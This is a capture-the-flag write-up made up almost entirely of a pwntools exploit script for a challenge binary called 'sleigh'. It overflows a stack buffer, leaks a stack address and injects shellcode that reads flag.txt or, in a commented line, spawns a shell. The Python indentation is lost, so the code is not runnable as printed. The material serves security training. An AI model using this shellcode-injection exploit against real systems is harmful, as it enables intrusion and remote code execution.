Buffer overflow with without NX (DEP) enabled, allows us to inject shellcode onto the stack and execute it. Walkthrough to follow: https://www.youtube.com/watch?v=deg0CQwwN-M&t=2843s

```py
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)

def find_ip(payload):
p = process(exe)
p.sendlineafter(b'>', b'1') # Chase joker
p.sendlineafter(b'>', payload) # Cyclic pattern
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './sleigh'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'info'

# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(500))

# Start program
io = start()

# Get the stack address (where out navigation commands will go)
io.sendlineafter(b'>', b'1')
io.recvline()
stack_addr = int(re.search(r"(0x[\w\d]+)", io.recvlineS()).group(0), 16)
info("leaked stack_addr: %#x", stack_addr)

# Need to pop registers at the beginning to make room on stack
shellcode = asm(shellcraft.popad())
# Build shellcode (cat flag.txt or spawn shell)
shellcode += asm(shellcraft.cat('flag.txt'))
# shellcode += asm(shellcraft.sh())
# Pad shellcode with NOPs until we get to return address
padding = asm('nop') * (offset - len(shellcode))

# Build the payload
payload = flat([
padding,
shellcode,
stack_addr
])

io.sendlineafter(b'>', payload) # Chase joker

# Got Shell?
io.interactive()
```

Original writeup (https://www.youtube.com/watch?v=deg0CQwwN-M&t=2843s).